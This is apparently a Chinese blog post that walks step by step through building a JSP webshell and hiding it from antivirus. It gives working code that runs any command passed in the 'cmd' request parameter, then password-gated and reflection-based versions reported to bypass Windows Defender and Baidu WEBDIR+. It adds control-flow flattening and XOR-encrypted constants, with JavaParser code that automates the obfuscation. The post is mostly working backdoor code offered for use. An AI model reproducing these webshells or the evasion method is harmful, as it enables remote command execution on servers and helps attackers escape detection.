浅谈JSP Webshell进阶免杀(一)

简介: 浅谈JSP Webshell进阶免杀

简介

前段时间笔者在研究AST相关技术和JS的混淆技巧,无意间想到,能否将一些技术和思路应用在Webshell的免杀呢?

于是尝试编写了一个自动生成免杀Webshell的工具

笔者目前本科在读,才疏学浅,错误和不足之处还请大佬指出,十分感谢!


从一句话开始

首先从一句话角度来做,给出JSP的一句话

这个Webshell是会直接被Windows Defender杀的,百度WEBDIR+也会杀

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>


尝试拆开一句话,再加入回显和消除乱码,得到这样的代码

<%@ page language="java" pageEncoding="UTF-8" %>
<%
   Runtime rt = Runtime.getRuntime();
   String cmd = request.getParameter("cmd");
   Process process = rt.exec(cmd);
   java.io.InputStream in = process.getInputStream();
// 回显
   out.print("<pre>");
   // 网上流传的回显代码略有问题,建议采用这种方式
   java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
   java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
   String s = null;
   while ((s = stdInput.readLine()) != null) {
       out.println(s);
  }
   out.print("</pre>");
%>

绕过了Windows Defender和百度WEBDIR+

然而我们不能满足于当前的情况,因为这些平台的查杀力度并不是很强

再这个基础上,可以加入反射调用来做进一步的免杀

<%@ page language="java" pageEncoding="UTF-8" %>
<%
   // 加入一个密码
   String PASSWORD = "password";
   String passwd = request.getParameter("pwd");
   String cmd = request.getParameter("cmd");
   if (!passwd.equals(PASSWORD)) {
       return;
  }
// 反射调用
   Class rt = Class.forName("java.lang.Runtime");
   java.lang.reflect.Method gr = rt.getMethod("getRuntime");
   java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
   Process process = (Process) ex.invoke(gr.invoke(null), cmd);
// 类似上文做回显
   java.io.InputStream in = process.getInputStream();
   out.print("<pre>");
   java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
   java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
   String s = null;
   while ((s = stdInput.readLine()) != null) {
       out.println(s);
  }
   out.print("</pre>");
%>


以上的情况其实已经做到了足够的免杀,但是否能够进一步做免杀呢


控制流平坦化

在反射调用的基础上结合控制流平坦化的思想后,会达到怎样的效果呢

(对于控制流平坦化的概念笔者其实并不是非常清晰,大致来说就是将代码转为switch块和分发器)

以下是上文反射代码修改后的结果,可以手动也可以写脚本来生成,这并不是本文的重点

// 这里给出的是规定顺序的分发器
String dispenserArr = "0|1|2|3|4|5|6|7|8|9|10|11|12";
String[] b = dispenserArr.split("\\|");
int index = 0;
// 声明变量
String passwd = null;
String cmd = null;
Class rt = null;
java.lang.reflect.Method gr = null;
java.lang.reflect.Method ex = null;
Process process = null;
java.io.InputStream in = null;
java.io.InputStreamReader resulutReader = null;
java.io.BufferedReader stdInput = null;
while (true) {
   int op = Integer.parseInt(b[index++]);
   switch (op) {
       case 0:
           passwd = request.getParameter("pwd");
           break;
       case 1:
           cmd = request.getParameter("cmd");
           break;
       case 2:
           if (!passwd.equals(PASSWORD)) {
               return;
          }
           break;
       case 3:
           rt = Class.forName("java.lang.Runtime");
           break;
       case 4:
           gr = rt.getMethod("getRuntime");
           break;
       case 5:
           ex = rt.getMethod("exec", String.class);
           break;
       case 6:
           process = (Process) ex.invoke(gr.invoke(null), cmd);
           break;
       case 7:
           in = process.getInputStream();
           break;
       case 8:
           out.print("<pre>");
           break;
       case 9:
           resulutReader = new java.io.InputStreamReader(in);
           break;
       case 10:
           stdInput = new java.io.BufferedReader(resulutReader);
       case 11:
           String s = null;
           while ((s = stdInput.readLine()) != null) {
               out.println(s);
          }
           break;
       case 12:
           out.print("</pre>");
           break;
  }
}

注意到在开头定义了0|1|2|3|4|5|6|7|8|9|10|11|12这样的字符串,其中数字的顺序对应了switch块中的执行顺序,当前是从第0条到第12条执行

在进入switch之前,需要实现声明变量,否则在Java的语法下,单一case语句的变量无法被其他case语句获取

当执行完命令后,变量index会超过最大索引,导致报错停止脚本,所以并不会出现占用服务端资源的情况


然而在这种情况下,分发器中的数字顺序是一定的,case块的顺序也是一定的,所以需要打乱这些变量实现混淆和免杀

笔者使用了Java的AST库JavaParser解析代码并实现这样的功能

if (target instanceof StringLiteralExpr) {
   // StringLiteralExpr对象就是简单的字符串
   String value = ((StringLiteralExpr) target).getValue();
   // 如果包含了这个符号认为是分发器
   if (value.contains("|")) {
       String[] a = value.split("\\|");
       int length = a.length;
       // 一个简单的数组打乱算法
       for (int i = length; i > 0; i--) {
           int randInd = rand.nextInt(i);
           String temp = a[randInd];
           a[randInd] = a[i - 1];
           a[i - 1] = temp;
      }
       // 打乱后的数字再用|拼起来
       StringBuilder sb = new StringBuilder();
       for (String s : a) {
           sb.append(s).append("|");
      }
       String finalStr = sb.toString();
       finalStr = finalStr.substring(0, finalStr.length() - 1);
       // 打乱后的分发器设置回去
      ((StringLiteralExpr) target).setValue(finalStr);
       result = finalStr;
  }
}

打乱switch-case块的代码

String[] a = target.split("\\|");
// 得到Switch语句为了后文的替换
SwitchStmt stmt = method.findFirst(SwitchStmt.class).isPresent() ?
   method.findFirst(SwitchStmt.class).get() : null;
if (stmt == null) {
   return;
}
// 得到所有的Case块
List<SwitchEntry> entryList = method.findAll(SwitchEntry.class);
for (int i = 0; i < entryList.size(); i++) {
   // Case块的Label是数字
   if (entryList.get(i).getLabels().get(0) instanceof IntegerLiteralExpr) {
       // 拿到具体的数字对象IntegerLiteralExpr
       IntegerLiteralExpr expr = (IntegerLiteralExpr) entryList.get(i).getLabels().get(0);
       // 设置为分发器对应的顺序数字
       expr.setValue(a[i]);
  }
}
// 打乱Case块集合
NodeList<SwitchEntry> switchEntries = new NodeList<>();
Collections.shuffle(entryList);
switchEntries.addAll(entryList);
// 塞回原来的Switch中
stmt.setEntries(switchEntries);


经过打乱后的效果还是比较满意的

String dispenserArr = "1|2|9|4|11|10|3|8|7|12|5|0|6";
String[] b = dispenserArr.split("\\|");
...
while (true) {
   int op = Integer.parseInt(b[index++]);
   switch(op) {
       case 11:
           gr = rt.getMethod("getRuntime");
           break;
       case 0:
           String s = null;
           while ((s = stdInput.readLine()) != null) {
               out.println(s);
          }
           break;
       case 5:
           stdInput = new java.io.BufferedReader(resulutReader);
       case 12:
           resulutReader = new java.io.InputStreamReader(in);
           break;
       case 4:
           rt = Class.forName("java.lang.Runtime");
           break;
      ...
  }
}

异或加密数字

异或加密很简单:a^b=c那么a^c=b

如果a变量是加密的目标,我们就可以随机一个b,计算得到的c和b异或回到原来的a

对于其中的数字,可以采用异或加密,并可以使用多重

而笔者发现其中的数字变量其实并不够多,那么如何造出来更多的数字变量呢?


把字符串变量都提到全局数组,然后用数组访问的方式使用字符串

String[] globalArr = new String[]{"0|1|2|3|4|5|6|7|8|9|10|11|12|13", "pwd", "cmd", "java.lang.Runtime",
                   "getRuntime", "exec", "<pre>", "</pre>"};
String temp = globalArr[0];
String[] b = temp.split("\\|");
...
while (true) {
   int op = Integer.parseInt(b[index++]);
   switch (op) {
       case 0:
           passwd = request.getParameter(globalArr[1]);
           break;
       case 1:
           cmd = request.getParameter(globalArr[2]);
           break;
      ...
  }
}


这时候的globalArr[1]调用方式就可以用异或加密了

Random random = new Random();
random.setSeed(System.currentTimeMillis());
// 遍历所有的简单数字对象
List<IntegerLiteralExpr> integers = method.findAll(IntegerLiteralExpr.class);
for (IntegerLiteralExpr i : integers) {
   // 原来的数字a
   int value = Integer.parseInt(i.getValue());
   // 随机的数字b
   int key = random.nextInt(1000000) + 1000000;
   // c=a^b
   int cipherNum = value ^ key;
   // 用一个括号包裹a^b防止异常
   EnclosedExpr enclosedExpr = new EnclosedExpr();
   BinaryExpr binaryExpr = new BinaryExpr();
   // 构造一个c^b
   binaryExpr.setLeft(new IntegerLiteralExpr(String.valueOf(cipherNum)));
   binaryExpr.setRight(new IntegerLiteralExpr(String.valueOf(key)));
   binaryExpr.setOperator(BinaryExpr.Operator.XOR);
   // 塞回去
   enclosedExpr.setInner(binaryExpr);
   i.replace(enclosedExpr);
}


双重异或加密后的效果

String[] globalArr = new String[] { "1|11|13|9|5|8|12|3|4|2|10|6|7|0", "pwd", "cmd", "java.lang.Runtime", "getRuntime", "exec", "<pre>", "</pre>" };
String temp = globalArr[((1913238 ^ 1011481) ^ (432471 ^ 1361880))];
...
int index = ((4813 ^ 1614917) ^ (381688 ^ 1926256));
...
while (true) {
   int op = Integer.parseInt(b[index++]);
   switch(op) {
       case ((742064 ^ 1861497) ^ (1601269 ^ 1006398)):
           out.print(globalArr[((367062 ^ 1943510) ^ (1568013 ^ 1037067))]);
           break;
       case ((108474 ^ 1265634) ^ (575043 ^ 1715728)):
           cmd = request.getParameter(globalArr[((735637 ^ 1455096) ^ (115550 ^ 1886513))]);
           break;
       case ((31179 ^ 1437731) ^ (335232 ^ 1086562)):
           resulutReader = new java.io.InputStreamReader(in);
           break;
      ...
  }
}



相关文章
|
17天前
|
前端开发 Java 数据库
【Spring原理进阶】SpringMVC调用链+JSP模板应用讲解
【Spring原理进阶】SpringMVC调用链+JSP模板应用讲解
|
7月前
|
Java 物联网 Shell
Jsp Webshell在物联网的应用
Jsp Webshell在物联网的应用
|
8月前
|
前端开发 Java
通用分页进阶之jsp之自定义标签
通用分页进阶之jsp之自定义标签
21 1
|
8月前
|
Java
自定义jsp标签进阶
自定义jsp标签进阶
21 2
|
Java
基于污点分析的JSP Webshell检测(三)
基于污点分析的JSP Webshell检测
153 0
基于污点分析的JSP Webshell检测(三)
|
Oracle Java 关系型数据库
基于污点分析的JSP Webshell检测(二)
基于污点分析的JSP Webshell检测
153 0
基于污点分析的JSP Webshell检测(二)
|
安全 Java
基于污点分析的JSP Webshell检测(一)
基于污点分析的JSP Webshell检测
308 0
基于污点分析的JSP Webshell检测(一)
|
安全 Java
浅谈JSP Webshell进阶免杀(三)
浅谈JSP Webshell进阶免杀
605 0
|
算法 JavaScript Java
浅谈JSP Webshell进阶免杀(二)
浅谈JSP Webshell进阶免杀
244 0
|
17天前
|
Java
学院管理系统【JSP+Servlet+JavaBean】(Java课设)
学院管理系统【JSP+Servlet+JavaBean】(Java课设)
36 3
学院管理系统【JSP+Servlet+JavaBean】(Java课设)